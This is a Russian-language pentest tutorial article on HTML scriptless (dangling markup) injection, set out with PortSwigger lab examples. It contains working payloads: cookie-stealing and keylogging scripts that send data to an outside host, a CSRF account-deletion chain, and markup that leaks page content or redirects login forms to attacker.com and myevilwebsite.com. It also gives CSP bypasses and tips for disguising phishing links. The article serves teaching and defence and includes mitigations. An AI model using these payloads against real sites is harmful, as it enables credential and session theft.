Привет, Хабр. Сегодня мы посмотрим на достаточно тривиальную тему с совсем нетривиальной стороны. Пожалуй, для каждого вебера HTML-инъекции являются темой, которой зачастую уделяют не очень много внимания. Взять даже собеседования: когда в последний раз вас спрашивали не об XSS'ках, а об HTML-инъекциях?

Сегодня я попробую рассказать про большую часть интересных векторов, которые мы можем использовать при ограничении в применении JS. Не стесняйтесь пользоваться оглавлением, потому что статья подготовлена для разного уровня читателей. Чтобы не обделять новичков, я достаточно подробно описал работу HTML, его структуры и даже то, как HTML парсится браузером!

Внимание: автор статьи не несет ответственности за возможные последствия использования или эксплуатации уязвимостей, описанных в данной публикации. Любая активность, связанная с тестированием на уязвимости информационных систем, должна проводиться в соответствии с законодательством и этическими принципами!

Оглавление

Введение

Что такое HTML Injection?

HTML Injection – это форма атаки на клиентскую часть веб-приложения, при которой внедряется вредоносный HTML-код в само веб-приложение. Целью атаки является изменение структуры или содержания страницы таким образом, чтобы выполнить вредоносные действия в браузере пользователя.

Внедряемый код может включать в себя теги HTML, атрибуты, события и другие конструкции, которые приводят к нежелательным последствиям.

Примеры атак HTML Injection включают в себя: вставку скриптов, изменение содержания страницы, создание фальшивых форм, перенаправление пользователя на вредоносные сайты и другие манипуляции с отображением веб-страницы, которые мы с вами сейчас рассмотрим.

Контекст внедрения

Контекст внедрения – это то понятие, которое мы будем использовать, чтобы обозначить так называемые "узкие" места в веб-приложении. Если говорить об HTML Injection, контекст – это место в веб-приложении, где пользовательский ввод может быть вставлен в HTML-код страницы. Ниже представлены одни из самых распространенных мест, в которых может встретиться возможность внедрения инъекции:

1. Формы ввода данных:
Поля ввода на веб-страницах, такие как текстовые поля, текстовые области, и другие элементы форм, где пользователь может вводить данные.

<input type="text" name="username" value="ввод пользователя">

2. Параметры URL:
Введение данных в адресную строку браузера, особенно при передаче параметров через HTTP GET.

http://example.com/page?name=<вредоносный HTML-код>

3. Куки (Cookies):
Если веб-приложение использует неправильные методы фильтрации входных данных при установке значений в куки.

Set-Cookie: username=<вредоносный HTML-код>

4. HTTP-заголовки:
Внедрение вредоносного кода в HTTP-заголовки, такие как User-Agent.

User-Agent: <вредоносный HTML-код>

Основы HTML

Структура HTML

HTML (HyperText Markup Language) – язык разметки, который используется для создания структуры веб-страниц. HTML-документ состоит из различных элементов, каждый из которых представляет из себя тег, содержимое и атрибуты.

Пример простого HTML-документа:

<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<title>Моя веб-страница</title>
	</head>
	<body>
		<h1>Привет, мир!</h1>
		<p>Это моя первая веб-страница.</p>
	</body>
</html>

Интерпретация браузером

Для начала разберем что такое интерпретация. Существуют два основных подхода к исполнению программного кода - интерпретация и компиляция.

  • Интерпретация: Процесс выполнения программы пошагово, преобразуя исходный код в машинный код непосредственно во время выполнения программы, поочередно.

  • Компиляция: Процесс преобразования исходного кода в машинный код до начала выполнения программы. Как итог компиляции мы, как правило, получаем исполняемый файл.

Так как при работе с браузером, как правило, используются динамические языки, для того чтобы была возможность изменять структуру и поведение страницы в реальном времени, браузеры используют именно интерпретацию.

Интерпретация считается достаточно медленным процессом. Для того, чтобы оптимизировать этот процесс, JavaScript сначала парсится интерпретатором на байт-код, а затем с помощью специального оптимизирующего компилятора обрабатывается так, чтобы оптимизировать или деоптимизировать байт-код, а после его выполнить. Этот процесс оптимизации кода называется JIT-компиляцией (Just-In-Time compilation).

Когда браузер интерпретирует HTML-код, он следует определенным шагам, чтобы построить DOM (Document Object Model) и отобразить веб-страницу. Полный процесс состоит из следующих этапов:

1. Загрузка и Разбор HTML:
Браузер начинает загрузку HTML-документа с сервера. При получении документа, он парсится по токенам (элементы, атрибуты и текст) для создания синтаксического дерева.

2. Построение DOM:
На основе разобранного HTML создается DOM - представление структуры документа в виде дерева объектов. Каждый HTML-тег становится узлом в этом дереве, а текст и атрибуты становятся частью узлов.

Пример:

<!DOCTYPE html>
<html>
<head>
	<title>Moя HTML Страница</title>
</head>
<body>
	<h1>3аголовок 1</h1>
	<p>Абзац</p>
	<h2>заголовOK 2</h2>
	<ul>
		<li>1 элемент списка</li>
		<li>2 элемент списка</li>
	</ul>
	<img src="путь_к_изображению.jpg" alt="Текст, если img не загрузился">
	<a href="http://www.example.com" target="_blank">Сcылка на example.com</a>
	<div>
		<p>Абзац внутри элемента div</p>
	</div>
</body>
</html>

Соответствующее дерево DOM:

3. Применение CSS и Формирование Render Tree:
Браузер применяет стили из внешних таблиц стилей, встроенных стилей и стилей пользователя к узлам DOM. Это приводит к созданию Render Tree. Render Tree это такая структура, которая учитывает стили и порядок отображения элементов.

4. Вычисление Layout:
Браузер определяет, где каждый элемент будет располагаться на экране. Этот процесс включает в себя вычисление размеров, положения и отступов элементов.

5. Отрисовка на Экране:
Наконец, браузер отрисовывает содержимое страницы на экране в соответствии с предварительно рассчитанным макетом.

Пример веб-страницы после всех шагов:

XSS ⊊ HTML Injection

Чем же отличаются XSS от HTML-инъекций?

Почему XSS являются строгим подмножеством или частным случаем HTML-инъекций в контексте HTML-кода?

Для начала определимся с тем, что мы внедряем. При XSS атаках мы внедряем зловредный JS код. Так как внедрение происходит в контекст HTML, мы не можем обойтись без использования определенных тегов и атрибутов. Пример:

<script>alert('XSS');</script>

Конечно, знатоки по XSS инъекциям могут сказать, что JS мы можем внедрять не только в контексте HTML-кода, и они будут правы! Взять тот же Node.js: мы спокойно можем использовать JavaScript на бэкэнде, никак не затрагивая HTML. Учитывая затрагиваемую тему статьи, мы говорим только о XSS в контексте HTML-кода, поэтому другие частные случаи XSS мы здесь не рассматриваем.

Ниже приведен небольшой список юзкейсов, при которых проводимая атака считается именно XSS:

1. Внедрение JavaScript в HTML-код:
Использование тега <script>.

<script>alert('XSS');</script>

2. JavaScript в атрибутах HTML-тегов:
Использование атрибутов HTML-тегов, таких как onmouseover, onclick и др.

<img src="фальшивоеизображение.jpg" onmouseover="alert('XSS')">

3. Data URI с JavaScript:
Использование Data URI для внедрения JavaScript-кода в теги изображений.

<img src="data:image/svg+xml,<svg/onload=alert('XSS')>" />

4. Использование JavaScript: атрибуте href:
Внедрение JavaScript-кода в атрибут href ссылки.

<a href="javascript:alert('XSS')">Нажми меня</a>

5. Внедрение JavaScript через стили:
Использование стилей.

<div style="width:expression(alert('XSS'));">Текст</div>

6. JavaScript в теге <svg>:
Использование тега <svg>.

<svg onload="alert('XSS')"></svg>

7. Использование data: URL с JavaScript:
Использование URL с префиксом data:.

<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>

С другой стороны, в процессе HTML-инъекции мы внедряем HTML-код, куда входят любые теги, которые пропускает фильтрация пользовательского ввода – сюда можно отнести не только ранее описанные теги и атрибуты, но также любые другие теги, которые используются в разметке HTML:

  1. <html>: Обозначает начало и конец HTML-документа.

  2. <head>: Содержит метаинформацию о документе, такую как заголовок, метатеги и ссылки на стили.

  3. <title>: Определяет заголовок документа, который отображается в верхней части окна браузера.

  4. <body>: Содержит основное содержание HTML-документа.

  5. <h1> to <h6>: Заголовки разных уровней (от 1 до 6).

  6. <p>: Определяет абзац текста.

  7. <a>: Создает ссылку.

  8. <img>: Вставляет изображение.

  9. <ul>, <ol>, <li>: Определяют неупорядоченный (маркированный) или упорядоченный (нумерованный) список и его элементы.

  10. <div>: Группирует элементы и предоставляет средство для применения стилей и скриптов.

  11. Также есть много других тегов.

Если мы в контексте определения HTML элемента хоть как-то прибегаем к использованию JavaScript, например - <img src=javascript:alert(123)>, в таком случае, эта HTML-инъекция становится XSS.

На самом же деле, разделять HTML-инъекции на XSS и HTML-инъекции - неправильно, такая формулировка даже звучит странно. Так сложилось, что, когда говорят об HTML-инъекциях, сразу представляется внедрение кода, в котором не используется JavaScript код, НО у таких инъекций есть свое отдельное название - HTML Scriptless Injection.

Таким образом отличием HTML Scriptless Injection является то, что мы не можем использовать объекты и методы языка JS. Одним из самых часто используемых объектов является - document, а также его свойство - cookie.

Чтобы подытожить тему отличия HTML Scriptless Injection и XSS, давайте кратко рассмотрим некоторые варианты реализации данных атак:

HTML Scriptless Injection:

1. Фишинг:
Злоумышленник может внедрять фальшивые формы, например, для ввода логина и пароля, с целью собрать конфиденциальную информацию от пользователей.

<form name="login" action="http://ip: port/">
	<label for="login">login: </label>
	<input type="text" name="login" required>
	<br>
	<label for="password">password: </label>
	<input type="password" name="password" required>
	<br>
	<input type="submit" value="Login!">
</form>

2. Редирект:
Внедрение кода для перенаправления пользователя на вредоносные сайты или другие манипуляции с навигацией:

 <a href="http//victim.evil/">Click Me </a>

3. Дефейс:
Возможность изменения содержимого веб-страницы, включая внедрение вредоносных сообщений.

<h1>U've been hacked)</h1>
<img src="http://victim.evil/evilimg" alt="Still Hacked">

4. Кража Секретов и Данных Форм:
Возможность кражи определенных данных, которые содержатся в HTML структуре.

XSS:

1. Session Hijacking:
Злоумышленник может внедрять JavaScript-код, который перехватывает сессионные куки пользователя и отправляет их на подконтрольный сервер для последующей атаки с использованием украденной сессии.

<script type="text/javascript">
	window.onload function (e) {
		var req = new XMLHttpRequest();
		req.open("GET","http://ip:port/?cookie=" + document.cookie, true);
		req.send();
	}
</script>

2. XSS + CSRF attack chain:
Возможность внедрения вредоносных скриптов, которые могут выполнять действия от имени пользователя, такие как отправка запросов, как в контексте одного источника данных (source), так и на внешние хосты, тем самым мы связываем эксплуатацию уязвимостей XSS с CSRF.

<script>
	var req = new XMLHttpRequest();
	req.onload = handleResponse;
	req.open('GET', '/my-account', true);
	req.send();
	
	function handleResponse() {
		var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
		sendPostRequest(token);
	}
	function sendPostRequest(token) {
		var changeReq = new XMLHttpRequest();
		changeReq.open('POST', '/my-account/delete-account', true);
		changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		changeReq.send('csrf=' + encodeURIComponent(token));
	}
</script>

3. Keylogging:
Внедрение скриптов для отслеживания нажатия клавиш пользователями при посещении заражённой страницы.

<script type="text/javascript">
	var l = "";
	document.onkeypress = function (e) {
		l += e.key;
		var req = new XMLHttpRequest();
		req.open("GET","http://ip:port/?key=" + l, true);
		req.send();
	}
</script>

Типы HTML Scriptless Injection

Чтобы не изобретать велосипед и не приводить примеры, которые в реальности никто уже давно не использует, сейчас будут рассмотрены разные типы HTML-инъекций с примерами из известного сервиса для решения лабораторных работ по веб-пентесту - portswigger.net. HTML-инъекции базово делятся на 3 типа (по аналогии с XSS):

1. Stored HTML Scriptless Injection

Stored HTML Injection — это тип атаки, при котором злоумышленник внедряет вредоносный HTML-код, который сохраняется на сервере и отображается всем пользователям, просматривающим соответствующий контент. Это может произойти, например, в случае публикации комментариев на веб-сайтах, где введенный пользователем HTML сохраняется и отображается всем, кто просматривает этот комментарий.

<h1>U'VE BEEN HACKED</h1>

2. Reflected HTML Scriptless Injection

Reflected HTML Injection становится возможной, когда вредоносный HTML-код внедряется в запросе и отображается только для пользователя, совершившего запрос. Например, это может произойти через параметры URL. Этот вид инъекции часто требует применения социальной инженерии, чтобы убедить пользователя выполнить запрос с вредоносным кодом.

https://mypage.web-security-academy.net/?search='<br><a href="https://t.me/fck_harder">Click Me To Get 10000$</a>

Ссылка следующего вида очевидно вызовет сомнения даже у неопытного пользователя, именно поэтому, если мы, например, задействованы в Red Team-тестировании и нашей целью является воздействие методами социальной инженерии, мы можем попробовать замаскировать ссылку используя один из следующих методов:

  1. Использовать укорачиватели ссылок: Для того, чтобы укоротить ссылку, можно использовать множество ресурсов предоставляющих данную услугу, один из самых популярных - Bitly.

Замаскированный вариант:https://bit.ly/legit-link-for-you

  1. Закодировать вредоносную часть ссылки: Замаскированный вариант:

https://mypage.web-security-academy.net/?search=%27%3c%62%72%3e%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%74%2e%6d%65%2f%66%63%6b%5f%68%61%72%64%65%72%22%3e%43%6c%69%63%6b%20%4d%65%20%54%6f%20%47%65%74%20%31%30%30%30%30%24%3c%2f%61%3e

Единственная проблема данного метода в том, что при вставке ссылки в адресную строку, браузер автоматически декодирует большую часть символов, отчего ссылка будет выглядеть следующим образом:

https://mypage.web-security-academy.net/?search=%27%3Cbr%3E%3Ca%20href=%22https://t.me/fck_harder%22%3EClick%20Me%20To%20Get%2010000$%3C/a%3E
  1. Quishing – так называются социо-технические атаки, доставка полезной нагрузки которых происходит через QR-коды. Для генерации QR-кодов можно использовать множество бесплатных ресурсов, предоставляющих соответствующие услуги.

Распространять же QR-коды можно не только физически расклеивая их вблизи тестируемой области, но также и, например, используя другую найденную HTML-Injection, добавив соответствующий тег:

  1. И множество прочих способов, зависящих только от вашей фантазии.

3. DOM-based HTML Scriptless Injection

DOM-based HTML Injection — это атаки, направленные на изменение DOM (Document Object Model) браузера. Злоумышленник внедряет вредоносный код, который влияет на структуру DOM и изменяет поведение веб-страницы.

Первое, на что мы можем обратить внимание при анализе страницы, – это тег <img>, который почему-то содержит введенное нами значение.

https://mypage.web-security-academy.net/?search="><h1>U_WAS_HACKED</h1>

Если мы поднимемся чуточку выше, мы увидим скрипт, который добавляет в HTML-документ данный тег.

Главное, что нас может заинтересовать в этом скрипте, это конкатенация строк и полное отсутствие какого-либо экранирования. Это значит то, что мы спокойно можем заинжектить сюда любой HTML-код, в том числе и XSS.

Представим, что мы все-таки встретились с трудностями при внедрении JS-кода, разработчик добавил экранирование, а нам остается только дефейсить сайт и уходить в вектор социальной инженерии. В таком случае нам надо избавиться от закрывающего тега >, который находится под внедренным элементом. Для этого дополним полезную нагрузку:

https://mypage.web-security-academy.net/?search="><h1>U_WAS_HACKED</h1><img+src="https://upload.wikimedia.org/wikipedia/commons/2/26/You_Have_Been_Hacked!.jpg

На первый взгляд может показаться, что DOM Based и Stored похожи, но, как я уже написал ранее, и еще раз акцентирую на этом моменте особое внимание, Stored – сохранение на сервере, в то время как DOM-Based – сохранение в дереве DOM, а соответственно в клиентской части (браузере пользователя). Давайте разберемся в том, как работает уязвимый скрипт и почему рассматриваемый случай является именно DOM-Based инъекцией:

<script>
    function trackSearch(query) {
        document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
    }
    var query = (new URLSearchParams(window.location.search)).get('search');
    if(query) {
        trackSearch(query);
    }
</script>

Вfunction trackSearch(query) {...}: определяется функция trackSearch, которая принимает параметр query. Внутри функции формируется строка HTML с тегом <img>, содержащим URL .gif файла, а также передаваемым в запросе параметр searchTerms. После того, как строка сформирована методом document.write, она будет добавлена в поток вывода документа. Важный момент в том, что метод document.write(str) работает только пока HTML-страница находится в процессе загрузки. Это значит, что он дописывает текст в текущее место HTML ещё до того, как браузер построит из него DOM. В противном случае страница просто сломается.

Далее мы объявляем переменную - var query = (new URLSearchParams(window.location.search)).get('search');. Этой переменной присваивается возвращаемое объектом URLSearchParams значение, который извлекается из параметра search строки запроса.

В блоке if проверяется, определено ли значение у параметра search. Если оно существует, вызывается определенная в самом начале скрипта функция trackSearch. В неё передается значение query в качестве аргумента.

На основе нашего анализа подведем краткие итоги с рекомендациями по устранению HTML-инъекции:

1. Отсутствие экранирования данных
Значение параметра search не экранируется, прежде чем вставляться в HTML-строку для формирования тега <img>. Это приводит к возможности внедрения вредоносного кода так как пользователи могут контролировать значение параметра search.

Рекомендации по устранению:

  • Использовать специальные библиотеки для экранирования строк.

  • Использовать самописные функции для экранирования строк. Пример:

<script>
	function escape(string) {
		var htmlEscapes = {
			'&': '&amp;',
			'<': '&lt;',
			'>'; '&gt;',
			'"': '&quot;',
			"'": '&#39;'
		};
		
		return string.replace(/[&<>"']/g, function(match) {
			return htmlEscapes[match];
		});
	};
</script>

Функция использует регулярное выражение /[&<>"']/g, чтобы найти все вхождения этих символов в строке и с помощью replace заменить их соответствующими экранированными значениями из объекта htmlEscapes. htmlEscapes содержит HTML-коды, которые представляют из себя специальные символы в контексте HTML которые интерпретируются как текст, а не как элементы разметки.

2. Отсутствие валидации ввода
Использование валидации для параметра search в данном контексте не всегда является самым эффективным подходом, так как валидация предназначена для проверки корректности данных и их соответствия определенным критериям, а не для предотвращения инъекций. Однако обеспечить фильтрацию первичного наплыва кулхацкеров таким способом все еще возможно.

Рекомендации по устранению:

  • Использовать функции валидации пользовательского ввода в зависимости от контекста. Пример:

<script>
	function validateInput(input) {
		var allowedRegex = /^[a-zA-Z0-9\s]*$/;
		return allowedRegex.test(input);
	};
</script>

Функция использует регулярное выражение, которое разрешает буквы верхнего и нижнего регистра, цифры и пробел. Функция validateInput использует метод test для проверки того, соответствует ли введенное значение этому шаблону.

3. Использование document.write:
Использование document.write может быть опасным, так как он изменяет содержимое документа после его загрузки, что может вызвать проблемы с асинхронной загрузкой и выполнением скриптов, однако к рассматриваемой уязвимости данный пункт не относится.

Методы HTML Scriptless Injections

Сейчас, когда мы уже познакомились с типами HTML-инъекций, самое время перейти к самой интересной, на мой взгляд, части статьи – к методам внедрения HTML Scriptless инъекций. Здесь мы разберем самые эффективные вектора атак и рассмотрим большое множество полезных элементов, которые можно использовать для кражи полезных данных или даже обхода CSP!

1. Secrets Steal

Этот раздел посвящен методам кражи секретов. Мы рассмотрим различные способы отсылать данные со страницы на подконтрольный нам сервер, их описание и механизм работы.

Элемент <img>

  • Описание: вводится тег <img> с внедренным URL-адресом, который отправляет вредоносный код на сервер злоумышленника при загрузке страницы.

<img src='http://attacker.com/log.php?HTML=
  • Механизм: Браузер автоматически выполняет запрос к указанному URL-адресу при загрузке изображения, отправляя нам все содержимое страницы, которую открыл пользователь, до первого вхождения одинарной кавычки (Одинарную кавычку можно заменить на двойную, в таком случае будут отправлены все данные до первого вхождения двойной кавычки).

Элемент <meta http-equiv="refresh">

  • Описание: Если CSP запрещает использование img, используется тег <meta> для автоматического редиректа пользователя на вредоносный URL с внедренным кодом.

  • Механизм: Метатег refresh относится к атрибуту http-equiv и выполняет перенаправление на указанный URL по истечении указанного времени. Обычно refresh используется в легитимных целях для рефреша страницы раз в N-ное количество времени и записывается данный метатег следующим образом: <meta http-equiv="refresh" content="300">, однако если мы после числа укажем URL, то по истечению времени, пользователя перенаправит на указанную страницу:

<meta http-equiv="refresh" content="300; url=http://attacker.com/log.php?HTML=

Какие-то браузеры могут некорректно работать, отправляя HTTP-запрос, содержащий \n или <> поэтому можно попробовать использовать другие схемы, такие как ftp://.

CSS @import

  • Описание: Встраивается в стилевую таблицу с использованием @import, чтобы передать вредоносный код на внешний сервер.

  • Механизм: Браузер обрабатывает таблицу стилей и выполняет запрос на внешний сервер, передавая код до первого вхождения ; - <style>@import//hackvertor.co.uk?.

<style>@import//attacker.com/?

Элемент <table>

  • Описание: Вводится тег <table> с фоновым изображением, отправляющим данные на сервер злоумышленника.

  • Механизм: Браузер загружает фоновое изображение, при этом выполняется запрос на указанный URL.

<table background='//attacker.com/?'

Пример:

https://hackerone.com/reports/110578

Здесь хантеру выплатили целых 500 долларов за простейшую багу, которая заключается в уже рассмотренной краже данных через элемент<meta http-equiv="refresh">.

2. Forms Data Steal

Этот раздел посвящен методам кражи данных форм. В отличии от кражи секретов, где основная идея атаки была в незакрытых тегах, которые могут достучаться до подконтрольного сервера, здесь мы будем заменять внедренными тегами легитимные элементы.

Элемент <base>

  • Описание: Внедряем тег <base>, который заменяет относительные ссылки на странице.

<base href='http://myevilwebsite.com/'>
  • Механизм: HTML тег <base> определяет дефолтный для всех относительных ссылок URL, что при инъекции позволяет заставить приложение каждый раз отправлять пользовательские данные на подконтрольный нам ресурс, будь то данные форм или простой запрос, содержащий чувствительные данные.

  • До инъекции:

<body>
	<!-- <base href='http://myevilwebsite.com/'> -->
	<h2>Test Form</h2>
	
	<form action="/" method="POST">
		<label for="username">Username:</label>
		<input type="text" id="username" name="username" required>
		
		<label for="password">Password:</label>
		<input type="password" id="password" name="password" required>
		
		<button type="submit">Submit</button>
	</form>
</body>

После инъекции:

Элемент <form>

  • Описание: Внедряем тег <form>, который при построении синтаксического дерева заменяет собой легитимный тег <form>.

<form action='http://myevilwebsite.com/' method="POST">
  • Механизм: Парсер при построении синтаксического дерева просто игнорирует старый тег формы, так как он находится под внедренным нами тегом. Самое интересное, что на выходе мы получаем страницу, откуда совсем пропал изначальный, легитимный тег формы. В отличии от прошлого метода, основанного на теге <base>, тег <form> работает не только с относительными ссылками, однако подобная инъекция распространяется только на одну форму, а остальные объекты отправляющие данные она не затрагивает.

  • До инъекции:

<body>
	<!-- <form action="http://myevilwebsite.com/" method="POST"> -->
	<h2>Test Form</h2>
	
	<form action="/" method="POST">
		<label for="username">Username:</label>
		<input type="text" id="username" name="username" required>
		
		<label for="password">Password:</label>
		<input type="password" id="password" name="password" required>
		
		<button type="submit">Submit</button>
	</form>
</body>

После инъекции:

Мы так же можем задействовать техники кражи секретов, скомбинировав их с внедрением формы на сайт:

  1. Элемент <input>:

<input type='hidden' name='malicious_input' value="

В качестве данных в это поле ввода войдет все содержимое HTML страницы до первого вхождения двойной кавычки, я думаю не стоит упоминать, что это также работает и с одинарной кавычкой, равно как и первый пункт в разделе про кражу секретов.

  • До инъекции:

<body>
	<!-- <form action='http://myevilwebsite.com/' method="POST"><input type='hidden' name='malicious_input' value=" -->
	<h2>Your Password: qwerty123</h2>
	<form action='/legitendpoint' method="POST">
		<label for="username">Username:</label>
		<input type="text" id="username" name="username" required>
		
		<label for="password">Password:</label>
		<input type="password" id="password" name="password" required>
		
		<button type="submit">Submit</button>
	</form>
	
	<form action="option1.php">
	<p><select size="3" name="secrets">
			<option value="t1" selected>Secret1</option>
			<option value="t2">Secret2</option>
		</select></p>
		<p><input type="submit" value="Отправить"></p>
	</form>
</body>
  • После инъекции:

Элемент <option>

<form action=http://myevilwebsite.com/><input type="submit">Click Me</input><select name=any><option

С элементом option у меня в свое время не задалось общение еще на том моменте, когда, читая определенные источники, выяснилось, что у меня он работает СОВСЕМ по-другому. Изначально payload выше должен был возвращать все содержимое HTML страницы вплоть до первого вхождения закрывающего тега options. На деле получилось следующее:

  1. Нет, не все содержимое, а только содержимое определенных текстовых элементов;

  2. Нет, не только тега option, на, самом деле, отправляется содержимое элементов вплоть до первого вхождения любого элемента формы, позволяющего либо вводить, либо выбирать данные, т.е. те элементы, в которых хоть как-то задействован пользовательский ввод.

  3. Нет, не закрывающего, даже вхождение открывающего тега одного из закомментированных ниже элементов прерывало считывание данных.

На скрине ниже закомментированы все конструкции, которые прерывают считывание данных элементом option:

<form action=http://myevilwebsite.com/><input type="submit"> Click Me<select name=any>
<!-- <option INJECTED -->

<h2>Your Password: qwerty123</h2>

<form action='/legitendpoint' method="POST">

<label for="fname">First name:</label>
<!-- <input type="text" id="fname" name="fname"> -->

<label for="cars">Choose a car:</label>
<!--
<select_id="cars" name="cars">
	<option value="volvo">Volvo</option>
	<option value="fiat">Fiat</option>
	<option value="audi">Audi</option>
</select>
-->

<!--
<textarea_name="message" rows="10" cols="30">
The cat was playing in the garden.
</textarea> 
-->
<button type="button" onclick="alert('Hello World!')">Click Me! </button>

<fieldset>
	<legend>Personalia:</legend>
	<label for="fname">First name:</label><br>
	<!--
	<input type="text" id="fname" name="fname"
	value="John"><br>
	-->
	<label for="1name">Last name:</label><br>
	<!--
	<input type="text" id="lname" name="name"
	value="Doe"><br><br>
	<input type="submit" value="Submit">
	-->
</fieldset>

<datalist id="browsers">
	<!--
	<option value="Edge">
	<option value="Firefox">
	<option value="Chrome">
	<option value="Opera">
	<option value="Safari">
	-->
</datalist>

<output name="x" for="a b">output</output>

</form>

Плюсом к нюансам выше стало понятно, что для того, чтобы эти данные получить, надо заставить пользователя нажать на кнопку, что опять означает использование человеческого фактора. Ситуацию хоть как-то смягчает атрибут label, который позволяет обозвать эту плитку option по-своему. При использовании атрибута label, payload с клиентской частью будут выглядеть следующим образом:

<form action=http://myevilwebsite.com/><input type="submit">Click Me<select name=any><option label="win money"

Результат нажатия на кнопку:

Элемент <button>

Описание: Используем тег <button>, который будет, используя атрибут formaction, отправлять данные на подконтрольный нам сервер.

<button type="submit" formaction="http://myevilwebsite.com/">EvilSubmit
  • Механизм: Кнопка с атрибутом formaction является частью HTML-формы и предоставляет из себя способ определения альтернативного действие, которое должно выполняться при отправке формы. Обычно форма отправляется на URL, указанный в атрибуте action тега <form>. Однако, если используется кнопка <button> с атрибутом formaction, то это действие будет использоваться вместо URL, указанного в action.

  • До инъекции:

<body>
	<!--
	<button type="submit" formaction="http://myevilwebsite.com/" form="legitform">Using form attribute</button>
	-->
	<h2>Test Form</h2>
	
	<form action="/legitendpoint" method="POST" id="legitform">
		<label for="username">Username:</label>
		<input type="text" id="username" name="username" required>
		
		<label for="password">Password:</label>
		<input type="password" id="password" name="password" required>
		
		<button type="submit">Submit</button>
		<!--
		<button type="submit" formaction="http://myevilwebsite.com/">No need to use form attribute</button>
		-->
	</form>
	<!--
	<button type="submit" formaction="http://myevilwebsite.com/" form="legitform">Using form attribute</button>
	-->
</body>
  • После инъекции:

В зависимости от наличия у формы атрибута id мы можем внедрить кнопку в любую часть HTML документа, используя атрибут кнопки form.
Более того, с помощью CSS мы можем просто-напросто перекрыть легитимную кнопку, что повысит эффективность такой, казалось бы, тривиальной инъекции:

3. CSP Bypass

Для начала кратко вспомним, что такое CSP и почему нам в некоторых случаях может понадобиться обойти его строгие правила. CSP расшифровывается как Content Security Policy и представляет из себя дополнительный слой безопасности веб-приложений, который помогает защитить от некоторых типов атак, куда входят HTML-инъекции.

Элемент <base target="

В исследовании компании Portswigger, посвящённому обходу CSP, рассматривались следующие правила CSP: default-src 'none'; base-uri 'none';

Расшифровываются они следующим образом:

default-src 'none';:

  • Правило задает политику безопасности для ресурсов по умолчанию. 'none' означает, что по умолчанию запрещено загружать любые ресурсы. Это включает в себя запрет на загрузку скриптов, стилей, изображений и других ресурсов из любых источников.

base-uri 'none';:

  • Правило устанавливает политику безопасности для базового URI (Uniform Resource Identifier). 'none' указывает, что не разрешены базовые URI, что означает отсутствие базового URI для относительных ссылок или загрузки ресурсов.

Описание: Используем атрибут target элемента <base>, который будет менять window.name для каждой ссылки на странице. Когда пользователь нажмет кнопку, он будет перенаправлен на подконтрольный ресурс, где можно обрабатывать полученное значение window.name. Оно в свою очередь, будет равно всему содержимому HTML документа от точки внедрения до последующего вхождения двойной (но можно и одинарной) кавычки.

<a href=http://myevilwebsite.com><font size=100 color=red>Click To Win Money</font></a><base target="stealed_content=

Механизм: Внедряется элемент <base> с атрибутом target в HTML-код страницы. Атрибут target устанавливается так, чтобы весь относительный контент страницы, а также контент, открываемый через ссылки, изменял window.name на значение "?stealed_content=. В качестве одного из элементов, который может перенаправить пользователя на подконтрольный ресурс, выбирается кнопка. При перенаправлении, значение window.name устанавливается в значение, которое мы задали в target, после чего оно обрабатывается на подконтрольном ресурсе.

  • После инъекции:

  • myevilwebsite.com/index.html:

PoC, предоставленный авторами этой техники, вы можете опробовать сами по адресу: http://portswigger-labs.net/dangling_markup/?x=<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="blah

Как основной метод митигации от этого метода байпаса, авторы предлагают использование собственного тега - <base target="_self" /> перед каждой потенциальной точкой входа HTML-инъекции. Однако, даже этот способ пробовали обойти и... успешно. Вместо элемента <base> теперь используется элемент <form>:

<input name=x type=hidden form=x value="&lt;a href=http://myevilwebsite.com/index.html&gt;&lt;font size=100 color=red&gt;You must click me&lt;/font&gt;&lt;/a&gt;"><button form=x><font size=100 color=red>Click me</font></button><form id=x target="blah

Здесь создается скрытое поле ввода (<input>), которое имеет атрибут name со значением x, атрибут type со значением hidden, и атрибут form со значением x. Атрибут value содержит текст, который представляет из себя HTML-код. Он использует HTML-кодирование (&lt; вместо <), чтобы избежать интерпретации тегов как HTML. Далее, с помощью атрибута кнопки form, она привязывается к форме с id равным x. Так как сначала нам необходимо установить имя окна с помощью атрибута target и только потом с помощью второго нажатия получить данные из имени окна, пользователю понадобится сделать два клика. В остальном метод работает точно так же, как тот, что был описан ранее.

Элемент <iframe name='

myevilwebsite.com:

<!-- Attacker injection -->
<script>
	function cspBypass (win) {
		win[0].location = 'about:blank';
		var xhr = new XMLHttpRequest();
		xhr.open("POST", "http://127.0.0.1:1337", true);
		var dataToSend = win[0].name
		xhr.send(dataToSend);
	}
</script>

<iframe src="//target.com/?vuln_param=%22><iframe name=%27" onload="cspBypass (this.contentWindow)"></iframe>

Независимо от настроек CSP на родительской странице, имя окна будет доступно для чтения и записи.

4. Conditional Based Injections

Под conditional based инъекциями я имею ввиду случаи, когда в зависимости от обработки данных будь то client-side или server-side, мы намеренно манипулируем значениями обрабатываемых объектов для того, чтобы получить аномальное поведение от приложения. Пример:

<form id="userSelectionForm">
	<input type="hidden" id="userSelect" value="victim"> <!-- Injected -->
	<label for="userSelect">Выберите пользователя:</label>
	<select id="userSelect" name="users">
		<option value="user1">Пoльзователь 1</option>
		<option value="user2">Пользователь 2</option>
	</select>
	<button type="button" onclick="sendMoneу()">Отправить деньги</button>
</form>

<script>
	function sendMoney() {
		var selectedUser = document.getElementById("userSelect").value;
		
		abstractMoneyTransfer(selectedUser);
	}
	function abstractMoneyTransfer(user) {
		console.log(user)
	}
</script>

Метод document.getElementById() используется для поиска HTML-элемента на странице по его уникальному идентификатору. Поиск начинается от корневого элемента document и происходит в глубину в порядке, в котором элементы DOM вложены друг в друга. Если на странице присутствуют несколько элементов с одинаковыми идентификаторами, метод вернет только первый найденный элемент. Поэтому, даже если внедренный элемент не совпадает с легитимным, инъекция все равно отработает, если у легитимного и внедренного элемента одинаковые идентификаторы.

5. Элемент <Portal>

